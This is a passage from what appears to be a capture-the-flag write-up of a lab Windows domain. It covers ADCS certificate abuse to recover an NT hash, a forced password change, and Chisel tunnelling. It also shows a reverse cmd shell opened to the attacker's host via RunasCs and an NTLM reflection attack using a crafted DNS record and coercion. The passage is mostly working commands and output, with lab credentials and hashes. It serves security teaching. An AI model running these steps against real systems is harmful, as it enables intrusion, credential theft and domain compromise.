<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nb">echo </span>doIFgDCCBXygAwIBBaEDAgEWooIEhjCCBIJhggR+MIIEeqADAgEFoQ4bDERBUktaRVJPLkVYVKIhMB+gAwIBAqEYMBYbBmtyYnRndBsMREFSS1pFUk8uRVhUo4IEPjCCBDqgAwIBEqEDAgECooIELASCBCiLZe6eocJ3vNsNxfQIypweP8Duishm4lAX3tfdOjkYheVKmz5xM03/ZGwTVixZ+cDfRpaWtsk9TM3lGlzu4gF9rfHxnEMgtXLlYa/67euJ5c650ASw2I4P4COybBdwsnv/dVDyMwgdZT8usC8YWKYlh5kftTJ42SFDSwK/+xhoVsdfC3kg0Q/aazrPh7S2j/kKm5VcO7ibD0Ed9TlTse1Ak2hGxsF8OuL1b4yyhE7LGKrxiiAev4YLBL118MZYEojNfgyVFvW17eABCxwtQexwBRGlu0VKA98n8z9dz/1+LqkJHADu7PgpN9T3p1XV+BP/SMvjhhNwwynAQTngGSJBDchjpGjPpaeCrt7lt8g3YhiFlk0ghd7NpHUn6w+Hg+wcx5X18BfJBHrGkoMNntHEyZFbIEDrxIvGDGBFSIxDxqd/pMjtLrmZnrjs2xQnSqZUAgg3s1rb9RHSdxcFoVjGrIdRfcaOMkIFk1Ct4agKeVgqUzSdXGjvdehxaGKzMDRGyTic+mfqIT7+cjvfXfhPTccyejTzwE8plMTLRaTr4aYWrZYWevRmLKVVmN1RyNAXUbd71bbvLk7bjmezyvLCrKDBtDmeqbMkf2S7Z6amERV7QPmvTaVrZz5xD3ECXY+rR0/b36G89DMKGm0St/L5X2ySTD3rL7jl8LTlGKsOGaFTAFjQRhluZivpBvoeNybG/++l5Xw+MelRuZRPyr3zNvKGG3fh3Cgo9Tyq6m1uA82JWLnMWl3yqLVPkhthARSvYlWqPJBx2qq0qb/zWg0NPDAVu0LehQZTtC8oPT5mv8vWMddDCiPmwVTjPCupalhc2QKxN91gTpBabP9kPmhkMOmEszoWWEAaPOaWDSP6nnTp7U40qJk0Wvlh9L3YuzrerbqZryn9+E/cqU7WozwZakjND2mgggIrCmMMYlPJW+XJwb156TJDcBzZJW3VVTIfUanDUp/FLRC9MJ0Pecc2XMIihzb5Kg5nQat2WjFkWm49Fv1yuUnpM7ojzA7ySW86DDkZq7JnMzGwr83R25Hj6uLJUUACHb3/UvXD4SbF0YLcCK1caivPBvor2Wnje9277khWRTQY6iAe7S9kEgXTBYP/smumN9ObCoVl/D1UhUdHCpC0BoAFuNuZ3uQOqJdNAsD5DMH8VJXNQ8zOAiWUeCm3G8eRGzvgYMk6cWpEY1GyO7VxbglQVBj+dzAhelx+8OcMSYtF2h7UYMqekRj3XAzPX1K5XE8j1/Xc9WH7uuXkUpsoebmvzJu5iPB1uwzmRdOlKBFzC4AAUadN4hZmhVOzFmfgghAtvOZ/vejMg6KPii3vSH84f96K2/1heO0yKMpCZvmNbOzZ14FIqQjRDp7VxIYyIkLCaO4jFPK2739psUNHQxO2TDrCwcMQw7p9R2KqFZxZtqOB5TCB4qADAgEAooHaBIHXfYHUMIHRoIHOMIHLMIHIoCswKaADAgESoSIEICYIk3zSjTftEg7R+uLf8kasuIkty8pcjRX5WcpXJ3jAoQ4bDERBUktaRVJPLkVYVKIUMBKgAwIBAaELMAkbB3N2Y19zcWyjBwMFAGChAAClERgPMjAyNjAzMjkwMDU3MDBaphEYDzIwMjYwMzI5MTA0MTQwWqcRGA8yMDI2MDQwNTAwNDE0MFqoDhsMREFSS1pFUk8uRVhUqSEwH6ADAgECoRgwFhsGa3JidGd0GwxEQVJLWkVSTy5FWFQ<span class="o">=</span> | <span class="nb">base64</span> <span class="nt">-d</span> <span class="o">&gt;</span> svc_sql.kirbi
<span class="gp">oxdf@hacky$</span><span class="w"> </span>ticketConverter.py svc_sql.kirbi svc_sql.ccache
<span class="go">Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

[*] converting kirbi to ccache...
[+] done
</span></code></pre></div></div>

<p>The resulting ticket looks like:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>describeTicket.py svc_sql.ccache 
<span class="go">Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Number of credentials in cache: 1
[*] Parsing credential[0]:
[*] Ticket Session Key            : 2608937cd28d37ed120ed1fae2dff246acb8892dcbca5c8d15f959ca572778c0
[*] User Name                     : svc_sql
[*] User Realm                    : DARKZERO.EXT
[*] Service Name                  : krbtgt/DARKZERO.EXT
[*] Service Realm                 : DARKZERO.EXT
[*] Start Time                    : 29/03/2026 00:57:00 AM
[*] End Time                      : 29/03/2026 10:41:40 AM
[*] RenewTill                     : 05/04/2026 00:41:40 AM
[*] Flags                         : (0x60a10000) forwardable, forwarded, renewable, pre_authent, enc_pa_rep
[*] KeyType                       : aes256_cts_hmac_sha1_96
[*] Base64(key)                   : JgiTfNKNN+0SDtH64t/yRqy4iS3LylyNFflZylcneMA=
[*] Decoding unencrypted data in credential[0]['ticket']:
[*]   Service Name                : krbtgt/DARKZERO.EXT
[*]   Service Realm               : DARKZERO.EXT
[*]   Encryption type             : aes256_cts_hmac_sha1_96 (etype 18)
[-] Could not find the correct encryption key! Ticket is encrypted with aes256_cts_hmac_sha1_96 (etype 18), but no keys/creds were supplied
</span></code></pre></div></div>

<p>The important flag is <code class="language-plaintext highlighter-rouge">forwarded</code>. This is a delegation ticket extracted from a GSS-API exchange, not a TGT obtained through a normal <code class="language-plaintext highlighter-rouge">AS-REQ</code>. The kpasswd service requires the <code class="language-plaintext highlighter-rouge">initial</code> flag, which only appears on TGTs issued directly by the KDC (such as through password or PKINIT authentication). This ticket is still useful for service authentication (like ADCS enrollment), but not for password changes.</p>

<h4 id="tunnel">Tunnel</h4>

<p>I’ll start the Chisel server on my host, and then upload the Windows binary to DC02 and connect:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">PS C:\programdata&gt;</span><span class="w"> </span><span class="n">curl</span><span class="w"> </span><span class="nx">http://10.10.14.61/chisel_1.10.1_windows_amd64</span><span class="w"> </span><span class="nt">-outfile</span><span class="w"> </span><span class="nx">c.exe</span><span class="w">
</span><span class="gp">PS C:\programdata&gt;</span><span class="w"> </span><span class="o">.</span><span class="n">\c.exe</span><span class="w"> </span><span class="nx">client</span><span class="w"> </span><span class="nx">10.10.14.61:8000</span><span class="w"> </span><span class="nx">R:socks</span><span class="w">
</span></code></pre></div></div>

<p>This hangs, but there’s a connection at my host:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>./chisel_1.10.0_linux_amd64 server <span class="nt">-p</span> 8000 <span class="nt">--reverse</span>
<span class="go">2026/03/29 01:13:49 server: Reverse tunnelling enabled
2026/03/29 01:13:49 server: Fingerprint H5cQtFfeJBN3ETumcIs5XewENCINllW01GAhKnmPXhw=
2026/03/29 01:13:49 server: Listening on http://0.0.0.0:8000
2026/03/29 01:14:11 server: session#1: Client version (1.10.1) differs from server version (1.10.0)
2026/03/29 01:14:11 server: session#1: tun: proxy#R:127.0.0.1:1080=&gt;socks: Listening
</span></code></pre></div></div>

<h4 id="get-nt-hash">Get NT Hash</h4>

<p>The TGT I have will work to enroll with ADCS. I’ll need the CA name, which I can get with <code class="language-plaintext highlighter-rouge">certutil</code> from a shell or from MSSQL:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">SQL &gt;[DC02.darkzero.ext] (dc01_sql_svc  dbo@master)&gt; </span>xp_cmdshell certutil
<span class="go">output                                                                    
-----------------------------------------------------------------------   
Entry 0: (Local)                                                          
  Name:                         "darkzero-ext-DC02-CA"                         
  Organizational Unit:          ""                                             
  Organization:                 ""                                             
  Locality:                     ""                                             
  State:                        ""                                             
  Country/region:               ""                                             
  Config:                       "DC02.darkzero.ext\darkzero-ext-DC02-CA"       
  Exchange Certificate:         ""                                             
  Signature Certificate:        "DC02.darkzero.ext_darkzero-ext-DC02-CA.crt"   
  Description:                  ""                                             
  Server:                       "DC02.darkzero.ext"                            
  Authority:                    "darkzero-ext-DC02-CA"                         
  Sanitized Name:               "darkzero-ext-DC02-CA"                         
  Short Name:                   "darkzero-ext-DC02-CA"                         
  Sanitized Short Name:         "darkzero-ext-DC02-CA"                         
  Flags:                        "13"                                           
  Web Enrollment Servers:       ""                                             
CertUtil: -dump command completed successfully.                           
NULL
</span></code></pre></div></div>

<p>I’ll request a certificate using that CA name with the default <code class="language-plaintext highlighter-rouge">user</code> certificate template:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span><span class="nv">KRB5CCNAME</span><span class="o">=</span>svc_sql.ccache proxychains certipy req <span class="nt">-u</span> svc_sql <span class="nt">-k</span> <span class="nt">-no-pass</span> <span class="nt">-dc-host</span> DC02.darkzero.ext <span class="nt">-target</span> DC02.darkzero.ext <span class="nt">-ca</span> darkzero-ext-DC02-CA <span class="nt">-template</span> user
<span class="go">[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[!] DNS resolution failed: The DNS query name does not exist: DC02.darkzero.ext.
[!] Use -debug to print a stacktrace
[*] Requesting certificate via RPC
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.20.2:88  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.20.2:445  ...  OK
[*] Request ID is 10
[*] Successfully requested certificate
[*] Got certificate with UPN 'svc_sql@darkzero.ext'
[*] Certificate object SID is 'S-1-5-21-1969715525-31638512-2552845157-1103'
[*] Saving certificate and private key to 'svc_sql.pfx'
[*] Wrote certificate and private key to 'svc_sql.pfx'
</span></code></pre></div></div>

<p>The resulting <code class="language-plaintext highlighter-rouge">.pfx</code> certificate can be used to authenticate as the user:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>proxychains certipy auth <span class="nt">-pfx</span> svc_sql.pfx <span class="nt">-domain</span> darkzero.ext <span class="nt">-dc-ip</span> 172.16.20.2
<span class="go">[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
Certipy v5.0.3 - by Oliver Lyak (ly4k)

[*] Certificate identities:
[*]     SAN UPN: 'svc_sql@darkzero.ext'
[*]     Security Extension SID: 'S-1-5-21-1969715525-31638512-2552845157-1103'
[*] Using principal: 'svc_sql@darkzero.ext'
[*] Trying to get TGT...
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.20.2:88  ...  OK
[*] Got TGT
[*] Saving credential cache to 'svc_sql.ccache'
File 'svc_sql.ccache' already exists. Overwrite? (y/n - saying no will save with a unique filename): y   
[*] Wrote credential cache to 'svc_sql.ccache'
[*] Trying to retrieve NT hash for 'svc_sql'
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.20.2:88  ...  OK
[*] Got hash for 'svc_sql@darkzero.ext': aad3b435b51404eeaad3b435b51404ee:816ccb849956b531db139346751db65f
</span></code></pre></div></div>

<p>This dumps the NT hash for the user. It also creates a Kerberos ticket, overwriting my previous <code class="language-plaintext highlighter-rouge">svc_sql.ccache</code> file with a new one:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>describeTicket.py svc_sql.ccache 
<span class="go">Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Number of credentials in cache: 1
[*] Parsing credential[0]:
[*] Ticket Session Key            : 12372029ba45f72125f2ec6348b0c7649e4150a35a77b133f55569a0618e6f5e
[*] User Name                     : svc_sql
[*] User Realm                    : DARKZERO.EXT
[*] Service Name                  : krbtgt/DARKZERO.EXT
[*] Service Realm                 : DARKZERO.EXT
[*] Start Time                    : 29/03/2026 01:50:01 AM
[*] End Time                      : 29/03/2026 11:50:01 AM
[*] RenewTill                     : 30/03/2026 01:49:53 AM
[*] Flags                         : (0x40e10000) forwardable, renewable, initial, pre_authent, enc_pa_rep
[*] KeyType                       : aes256_cts_hmac_sha1_96
[*] Base64(key)                   : EjcgKbpF9yEl8uxjSLDHZJ5BUKNad7Ez9VVpoGGOb14=
[*] Decoding unencrypted data in credential[0]['ticket']:
[*]   Service Name                : krbtgt/DARKZERO.EXT
[*]   Service Realm               : DARKZERO.EXT
[*]   Encryption type             : aes256_cts_hmac_sha1_96 (etype 18)
[-] Could not find the correct encryption key! Ticket is encrypted with aes256_cts_hmac_sha1_96 (etype 18), but no keys/creds were supplied
</span></code></pre></div></div>

<p>This one has <code class="language-plaintext highlighter-rouge">initial</code>, which means it’ll work to change the password.</p>

<h4 id="change-password">Change Password</h4>

<p>I’ll use the NT hash from the <code class="language-plaintext highlighter-rouge">certipy auth</code> to update the password on the account:</p>

<div class="language-console wrap highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>proxychains changepasswd.py <span class="nt">-hashes</span> :816ccb849956b531db139346751db65f <span class="nt">-newpass</span> 0xdf0xdf. darkzero.ext/svc_sql@dc02.darkzero.ext
<span class="go">[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Changing the password of darkzero.ext\svc_sql
[*] Connecting to DCE/RPC as darkzero.ext\svc_sql
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  dc02.darkzero.ext:445  ...  OK
[*] Password was changed successfully.
</span></code></pre></div></div>

<p>It works:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>proxychains netexec smb 172.16.20.2 <span class="nt">-u</span> svc_sql <span class="nt">-p</span> 0xdf0xdf.
<span class="go">[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.20.2:445  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.20.2:445  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.20.2:135  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.20.2:135  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.20.2:135  ...  OK
</span><span class="netexec-protocol">SMB </span><span class="go">        172.16.20.2     445    DC02             </span><span class="netexec-logmessage">[*]</span><span class="go"> Windows Server 2022 Build 20348 x64 (name:DC02) (domain:darkzero.ext) (</span><span class="netexec-logsuccess">signing:True</span><span class="go">) (SMBv1:None) </span><span class="netexec-pwned">(Null Auth:True)</span><span class="go">
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.20.2:445  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.20.2:445  ...  OK
</span><span class="netexec-protocol">SMB </span><span class="go">        172.16.20.2     445    DC02             </span><span class="netexec-logsuccess">[+]</span><span class="go"> darkzero.ext\svc_sql:0xdf0xdf. 
</span></code></pre></div></div>

<h4 id="shell-with-full-token">Shell with Full Token</h4>

<p>I’ll grab the latest copy of <a href="https://github.com/antonioCoco/RunasCs">RunasCs.exe</a> from SharpCollection and upload it to DC02:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">PS C:\programdata&gt;</span><span class="w"> </span><span class="n">curl</span><span class="w"> </span><span class="nx">http://10.10.14.61/RunasCs.exe</span><span class="w"> </span><span class="nt">-outfile</span><span class="w"> </span><span class="nx">runascs.exe</span><span class="w">
</span></code></pre></div></div>

<p><a href="#enumeration">Above</a> the policy backup shows that this account can do a service logon. Giving the <code class="language-plaintext highlighter-rouge">--logon-type 5</code> option to <code class="language-plaintext highlighter-rouge">RunasCs.exe</code> will set the <a href="https://learn.microsoft.com/en-us/windows-server/identity/securing-privileged-access/reference-tools-logon-types">logon type</a> to service logon. I’ll also need the <code class="language-plaintext highlighter-rouge">--bypass-uac</code> option to get full privs:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">PS C:\programdata&gt;</span><span class="w"> </span><span class="o">.</span><span class="n">\runascs.exe</span><span class="w"> </span><span class="nx">svc_sql</span><span class="w"> </span><span class="nx">0xdf0xdf.</span><span class="w"> </span><span class="s2">"whoami /priv"</span><span class="w"> </span><span class="nt">--logon-type</span><span class="w"> </span><span class="nx">5</span><span class="w">  </span><span class="nt">--bypass-uac</span><span class="w">
</span><span class="go">
PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State   
============================= ========================================= ========
SeMachineAccountPrivilege     Add workstations to domain                Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
SeCreateGlobalPrivilege       Create global objects                     Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled
</span></code></pre></div></div>

<p>With <code class="language-plaintext highlighter-rouge">nc</code> listening, I’ll get a shell:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">PS C:\programdata&gt;</span><span class="w"> </span><span class="o">.</span><span class="n">\runascs.exe</span><span class="w"> </span><span class="nx">svc_sql</span><span class="w"> </span><span class="nx">0xdf0xdf.</span><span class="w"> </span><span class="nx">cmd.exe</span><span class="w"> </span><span class="nt">-r</span><span class="w"> </span><span class="nx">10.10.14.61:444</span><span class="w"> </span><span class="nt">--logon-type</span><span class="w"> </span><span class="nx">5</span><span class="w">  </span><span class="nt">--bypass-uac</span><span class="w">
</span><span class="go">
[+] Running in session 0 with process function CreateProcessWithLogonW()
[+] Using Station\Desktop: Service-0x0-27e1f$\Default
[+] Async process 'C:\Windows\system32\cmd.exe' with pid 3560 created in background.
</span></code></pre></div></div>

<p><code class="language-plaintext highlighter-rouge">RunasCs.exe</code> hangs, and there’s a connection at <code class="language-plaintext highlighter-rouge">nc</code>:</p>

<div class="language-console rlwrap-disclaimer highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>rlwrap <span class="nt">-cAr</span> nc <span class="nt">-lnvp</span> 444
<span class="go">Listening on 0.0.0.0 444
Connection received on 10.129.5.34 61533
Microsoft Windows [Version 10.0.20348.2113]
(c) Microsoft Corporation. All rights reserved.

</span><span class="gp">C:\Windows\system32&gt;</span><span class="nb">whoami</span> /priv
<span class="go">whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                               State   
============================= ========================================= ========
SeMachineAccountPrivilege     Add workstations to domain                Disabled
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled 
SeImpersonatePrivilege        Impersonate a client after authentication Enabled 
SeCreateGlobalPrivilege       Create global objects                     Enabled 
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled
</span></code></pre></div></div>

<p>I can run <a href="https://github.com/BeichenDream/GodPotato">GodPotato</a> just like <a href="#god-potato">above</a> through either this new shell with the full privileges or directly from the original shell using <code class="language-plaintext highlighter-rouge">RunasCs.exe</code>.</p>

<h3 id="via-ntlm-authentication-reflection">via NTLM Authentication Reflection</h3>

<h4 id="strategy-2">Strategy</h4>

<p>With the Chisel tunnel already in place from the svc_sql shell, there’s another way to escalate to SYSTEM on DC02 using <a href="https://decoder.cloud/2025/11/24/reflecting-your-authentication-when-windows-ends-up-talking-to-itself/">NTLM authentication reflection</a>. The idea is to coerce DC02 into authenticating to an attacker-controlled endpoint, then reflect that authentication back to DC02’s own LDAP service such that the machine ends up authenticating to itself.</p>

<p>In normal NTLM relay, the MIC (Message Integrity Code) in the final Authenticate message prevents tampering. The MIC is a cryptographic check over the entire exchange. But when NTLM authentication is “local” (the client and server are on the same machine), Windows uses a shortcut, leaving the final NTLM3 message essentially empty, referencing an LSASS context handle instead of carrying the usual cryptographic proofs. Because the message is empty, MIC validation, NtProofStr, and MsAvFlags checks are all skipped.</p>

<p>The June 2025 patch fixed this with three CVEs: CVE-2025-33073 (SMB client rejects invalid CMTI data), CVE-2025-58726 (SMB server validates loopback addresses), and CVE-2025-54918 (DCE/RPC enforces MIC calculation regardless of auth context). The root cause was that local authentication had weaker security requirements than remote, which are now patched. While I don’t yet know this, DC01 has this patch. DC02 does not.</p>

<p>To route DC02’s authentication through me, I’ll create a DNS record in <code class="language-plaintext highlighter-rouge">darkzero.ext</code> using the CREDENTIAL_TARGET_INFORMATION (CMTI) trick I’ve used in <a href="/2025/10/18/htb-darkcorp.html#create-dns-record">DarkCorp</a>, <a href="/2026/02/07/htb-signed.html#generate-dns-record">Signed</a>, and <a href="/2025/07/03/htb-vulncicada.html#attack">VulnCicada</a>. This creates a record like <code class="language-plaintext highlighter-rouge">DC021UWhRC...YBAAAA</code> that embeds DC02’s target info in the hostname, so Windows treats authentication to it as if it’s going to the real DC02, triggering the local auth path with the empty NTLM3 message. With that record pointing to my attack box, I coerce DC02 to authenticate to the fake hostname, then a special fork of <a href="https://github.com/decoder-it/impacket-partial-mic">Impacket from dec0der</a> that allows removing the MIC to reflect the auth back to DC02’s LDAPS. This gives me privileged LDAP access as DC02’s machine account, which I can use to get admin and SYSTEM on DC02.</p>

<h4 id="create-dns-record">Create DNS Record</h4>

<p>To start I’ll create a DNS record appending CMTI information to the end so that it registers as a unique domain that points to me, but also that DC02 will process it for authentication as DC02:</p>

<div class="language-console wrap highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>proxychains uv run dnstool.py <span class="nt">-u</span> <span class="s1">'darkzero.htb\john.w'</span> <span class="nt">-p</span> <span class="s1">'RFulUtONCOL!'</span> <span class="nt">-a</span> add <span class="nt">-r</span> <span class="s1">'DC021UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA'</span> <span class="nt">-d</span> 10.10.14.61 <span class="nt">-dns-ip</span> 172.16.20.2 <span class="nt">--tcp</span> DC02.darkzero.ext 
<span class="go">[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] DLL init: proxychains-ng 4.17
[-] Connecting to host...
[-] Binding to host
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.20.2:389  ...  OK
[+] Bind OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.20.2:53  ...  OK
[-] Adding new record
[+] LDAP operation completed successfully
</span></code></pre></div></div>

<p>I’ll check it with <code class="language-plaintext highlighter-rouge">dig</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>proxychains dig +tcp +short @172.16.20.2 DC021UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA.darkzero.ext A
<span class="go">[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.20.2:53  ...  OK
10.10.14.61
</span><span class="gp">oxdf@hacky$</span><span class="w"> </span>dig +tcp +short @DC01.darkzero.htb DC021UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA.darkzero.ext A
<span class="go">10.10.14.61
</span></code></pre></div></div>

<p>It shows up on DNS from DC02, and sometimes (or eventually?) from DC01. I found sometimes this returned nothing. If I re-ran <code class="language-plaintext highlighter-rouge">dnstool.py</code> with the same command, it would fail (saying the record already exists). Changing the action to <code class="language-plaintext highlighter-rouge">-a modify</code> would run and set it again, and after a few runs, it would show up in <code class="language-plaintext highlighter-rouge">dig</code>. It’s not clear to me if it just takes time to show up, or re-running the tool eventually works in a way that it propagates where I need it to get. I think there’s also a HTB cleanup running periodically as well.</p>

<h4 id="coerce">Coerce</h4>

<p>I’ll now coerce DC02$ to authenticate to the malicious domain. I’ll start <a href="https://github.com/lgandx/Responder">Responder</a> to see if it works, and run the <code class="language-plaintext highlighter-rouge">netexec</code> coerce module:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>proxychains netexec smb DC02.darkzero.ext <span class="nt">-u</span> john.w <span class="nt">-p</span> <span class="s1">'RFulUtONCOL!'</span> <span class="nt">-d</span> darkzero.htb <span class="nt">-M</span> coerce_plus <span class="nt">-o</span> <span class="nv">LISTENER</span><span class="o">=</span>DC021UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA.darkzero.ext
<span class="go">[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.17
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.20.2:445  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.20.2:445  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.20.2:135  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.20.2:135  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.20.2:135  ...  OK
</span><span class="netexec-protocol">SMB </span><span class="go">        172.16.20.2     445    DC02             </span><span class="netexec-logmessage">[*]</span><span class="go"> Windows Server 2022 Build 20348 x64 (name:DC02) (domain:darkzero.ext) (</span><span class="netexec-logsuccess">signing:True</span><span class="go">) (SMBv1:None) </span><span class="netexec-pwned">(Null Auth:True)</span><span class="go">
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.20.2:445  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.20.2:445  ...  OK
</span><span class="netexec-protocol">SMB </span><span class="go">        172.16.20.2     445    DC02             </span><span class="netexec-logsuccess">[+]</span><span class="go"> darkzero.htb\john.w:RFulUtONCOL!
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.20.2:445  ...  OK
</span><span class="nb">COERCE_PLUS </span><span class="go">172.16.20.2     445    DC02             VULNERABLE, DFSCoerce
</span><span class="nb">COERCE_PLUS </span><span class="go">172.16.20.2     445    DC02             Exploit Success, netdfs\NetrDfsRemoveRootTarget
</span><span class="nb">COERCE_PLUS </span><span class="go">172.16.20.2     445    DC02             Exploit Success, netdfs\NetrDfsAddStdRoot
</span><span class="nb">COERCE_PLUS </span><span class="go">172.16.20.2     445    DC02             Exploit Success, netdfs\NetrDfsRemoveStdRoot
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.20.2:445  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.20.2:135  ...  OK
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.20.2:445  ...  OK
</span><span class="nb">COERCE_PLUS </span><span class="go">172.16.20.2     445    DC02             VULNERABLE, PetitPotam
</span><span class="nb">COERCE_PLUS </span><span class="go">172.16.20.2     445    DC02             Exploit Success, efsrpc\EfsRpcAddUsersToFile
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.20.2:135  ...  OK
</span><span class="netexec-errortimestamp">[12:46:47]</span><span class="go"> </span><span class="netexec-logfail">ERROR</span><span class="go">    Error in PrinterBug module: DCERPC Runtime Error: code: 0x16c9a0d6 - ept_s_not_registered</span><span class="netexec-errorfile">                              coerce_plus.py:178
</span><span class="go">[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.20.2:135  ...  OK
           ERROR    Error in PrinterBug module: DCERPC Runtime Error: code: 0x16c9a0d6 - ept_s_not_registered                              coerce_plus.py:178
[proxychains] Strict chain  ...  127.0.0.1:1080  ...  172.16.20.2:445  ...  OK
</span></code></pre></div></div>

<p>I can see that it works with <a href="https://github.com/lgandx/Responder">Responder</a>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$ </span><span class="nb">sudo </span>uv run Responder.py <span class="nt">-I</span> tun0
<span class="go">                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|            
                                       
           NBT-NS, LLMNR &amp; MDNS Responder 3.1.3.0
...[snip]...
[+] Generic Options:
    Responder NIC              [tun0]
    Responder IP               [10.10.14.61]
    Responder IPv6             [dead:beef:2::103b]
    Challenge set              [random]
    Don't Respond To Names     ['ISATAP', 'ISATAP.LOCAL']

[+] Current Session Variables:
    Responder Machine Name     [WIN-ISV2THA5X2E]
    Responder Domain Name      [6H5E.LOCAL]
    Responder DCE-RPC Port     [49839]

[+] Listening for events...

[!] Error starting SSL server on port 443, check permissions or other servers running.
[SMB] NTLMv2-SSP Client   : 10.129.5.34
[SMB] NTLMv2-SSP Username : darkzero-ext\DC02$
